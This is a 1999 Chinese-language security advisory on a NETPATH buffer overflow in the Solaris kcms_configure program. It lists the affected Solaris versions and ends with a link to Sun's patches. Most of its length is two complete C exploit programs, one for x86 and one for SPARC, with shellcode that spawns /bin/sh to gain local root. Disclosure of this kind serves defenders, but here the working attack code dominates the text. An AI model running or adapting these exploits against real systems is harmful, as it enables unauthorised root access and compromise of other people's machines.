发布日期：1999-11-29
更新日期：1999-12-30

受影响系统：

Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 2.6_x86
Sun Solaris 2.6
Sun Solaris 2.5.1_x86
Sun Solaris 2.5.1
Sun Solaris 2.5_x86
Sun Solaris 2.5

描述：

---

kcms_configure的"-P" 选项存在的一个溢出漏洞已经在(107339-01)中报告过。
但这个程序还存在其它未发布的漏洞，因此也没有相应的补丁。   
  
kcms_configure在NETPATH环境中指定一个长字串时会产生溢出。以下程序使用在Solaris2.6/7下
,可以得到本地root权限。

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

------ ex_kcms_configure86.c   
/*=============================================================================   
kcms_configure Exploit for Solaris7 Intel Edition   
The Shadow Penguin Security (http://shadowpenguin.backsection.net)   
Written by UNYUN (shadowpenguin@backsection.net)   
=============================================================================   
*/   
  
#define ENV "NETPATH="   
#define MAXBUF 3000   
#define RETADR 2088   
#define RETOFS 0xad0   
#define FAKEADR 2076   
#define NOP 0x90   
  
unsigned long get_sp(void)   
{   
__asm__(" movl %esp,%eax ");   
}   
  
char exploit_code[] =   
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"   
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"   
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"   
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"   
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"   
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"   
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"   
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"   
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"   
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";   
  
main()   
{   
char buf[MAXBUF];   
unsigned int i,ip,sp;   
  
putenv("LANG=");   
sp=get_sp();   
printf("ESP=0x%x\n",sp);   
  
memset(buf,NOP,MAXBUF);   
  
ip=sp;   
buf[FAKEADR ]=ip&0xff;   
buf[FAKEADR+1]=(ip>>8)&0xff;   
buf[FAKEADR+2]=(ip>>16)&0xff;   
buf[FAKEADR+3]=(ip>>24)&0xff;   
  
ip=sp-RETOFS;   
buf[RETADR ]=ip&0xff;   
buf[RETADR+1]=(ip>>8)&0xff;   
buf[RETADR+2]=(ip>>16)&0xff;   
buf[RETADR+3]=(ip>>24)&0xff;   
  
strncpy(buf+2500,exploit_code,strlen(exploit_code));   
  
strncpy(buf,ENV,strlen(ENV));   
buf[MAXBUF-1]=0;   
putenv(buf);   
  
execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0);   
}   
  


--------------------------------------------------------------------------------

/*=============================================================================
   kcms_configure Exploit for Solaris2.6/7 Sparc Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/

#define ENV         "NETPATH="
#define MAXBUF      3000
#define RETADR      2116
#define RETOFS      0x1300
#define EXPADR      1200
#define FAKEADR1    2092
#define FAKEADR2    2112
#define NOP         0xa61cc013

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

main()
{
    char            buf[MAXBUF];
    unsigned int    i,ip,sp;

    putenv("LANG=");
    sp=get_sp();
    printf("ESP =0x%x\n",sp);

    for (i=0;i<MAXBUF-4;i+=4){
        buf[i+3]=NOP&0xff;
        buf[i+2]=(NOP>>8)&0xff;
        buf[i+1]=(NOP>>16)&0xff;
        buf[i  ]=(NOP>>24)&0xff;
    }

    ip=sp;
    printf("FAKE=0x%x\n",sp);
    buf[FAKEADR1+3]=ip&0xff;
    buf[FAKEADR1+2]=(ip>>8)&0xff;
    buf[FAKEADR1+1]=(ip>>16)&0xff;
    buf[FAKEADR1  ]=(ip>>24)&0xff;
    buf[FAKEADR2+3]=ip&0xff;
    buf[FAKEADR2+2]=(ip>>8)&0xff;
    buf[FAKEADR2+1]=(ip>>16)&0xff;
    buf[FAKEADR2  ]=(ip>>24)&0xff;

    ip=sp-RETOFS;
    printf("EIP =0x%x\n",sp);
    buf[RETADR+3]=ip&0xff;
    buf[RETADR+2]=(ip>>8)&0xff;
    buf[RETADR+1]=(ip>>16)&0xff;
    buf[RETADR]=(ip>>24)&0xff;

    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));

    strncpy(buf,ENV,strlen(ENV));
    buf[MAXBUF-1]=0;
    putenv(buf);

    execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0);
}



建议：

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Sun已经提供了相应的补丁:
http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/summary&nav=patches/pub-patches

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